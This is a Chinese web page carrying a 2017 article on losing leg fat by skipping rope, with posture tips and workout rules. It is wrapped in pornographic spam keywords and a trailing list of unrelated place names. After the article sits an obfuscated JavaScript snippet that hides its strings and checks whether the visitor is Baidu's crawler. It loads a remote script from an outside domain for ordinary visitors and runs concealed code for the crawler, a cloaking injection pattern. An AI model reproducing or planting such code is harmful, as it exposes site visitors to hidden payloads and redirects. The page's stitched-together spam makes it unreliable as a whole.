亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

跳繩真的可以瘦腿嗎?

2017-04-21 23:48:42  來源:360常識網   熱度:
導語:許多mm或許會對你有一雙修長的大腿而感到煩惱,要知道現(xiàn)在是一個非常流行拼顏值的年代。即使表面上說不看人的外表。如果一個女性的大腿很粗

許多mm或許會對你有一雙修長的大腿而感到煩惱,要知道現(xiàn)在是一個非常流行拼顏值的年代。即使表面上說不看人的外表。如果一個女性的大腿很粗的話,那樣看起來臃腫而沒有任何的魅力可言。跳繩或許對人們來說是一項非常好的減肥瘦身運動,那么如果經常跳繩真的能夠有效的瘦腿嗎?

跳繩是一種有氧運動,以中等速度跳繩1小時能消耗600大卡的熱量,能有效燃燒全身的脂肪,腿上的贅肉也能減掉。

掌握正確的跳繩姿勢非常關鍵

1.選擇合適長度的繩索。將繩子踩在腳下,屈肘90度,繩子的兩端正好與肘同高。

2.雙腳并攏,雙膝微屈,運動中始終用前腳掌著地,腳后跟不著地,保持腳尖超。

3.膝關節(jié)要同腳尖對齊。

4.當落地曲膝時,膝關節(jié)不要超過腳尖,跳起來伸膝時,不要鎖膝或過分伸直。注意腳踝、膝關節(jié)的緩沖,使動作看起來富有彈性。

5.上體保持正直,挺胸、瘦腹、沉肩,下顎微收,雙眼平視前方,雙肩自然放松,使手腕、肘關節(jié)、肩關節(jié)均勻發(fā)力。

6.運動中還可以使用單腿交換跳。

7.注意保持均勻的呼吸,盡量用鼻子呼吸。

首先要想瘦腿就必需減掉腿部多余的脂肪,要想通過跳繩達到減肥的效果,就必需遵循有氧運動減肥的三大定律。這三大定律是:

1.每次跳繩減肥的時間至少在20分鐘以上。

2.每次跳繩的強度控制在自身最大運動強度的75%左右。

3.每次跳繩的過程中運動強度均勻不變,且跳繩的過程中盡量不要中斷休息。滿足以上三點,就能達到跳繩減肥的效果,同樣也就可以減掉腿部脂肪,達到瘦腿的效果。

對于想減肥的人來說,多多運動肯定是沒錯的。在平時的時候一定要記得把每天攝入多少,熱量消耗掉,這樣才會有效地去除脂肪的堆積,達到塑身減肥的效果。在跳繩的過程中,也需要掌握一些技巧有效地瘦腿,而且不會讓你的小腿變粗哦。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
贺兰县| 廉江市| 内丘县| 江源县| 盈江县| 宜君县| 宁河县| 增城市| 城口县| 赤城县| 肇源县| 佛学| 灵山县| 垦利县| 凯里市| 怀来县| 文昌市| 仁寿县| 荣成市| 陵川县| 监利县| 武川县| 宁夏| 陇川县| 大关县| 恩施市| 虎林市| 会东县| 安阳市| 旌德县| 隆尧县| 丰都县| 秭归县| 台东县| 莱西市| 嘉义县| 襄城县| 怀安县| 兴安县| 罗城| 鹿泉市|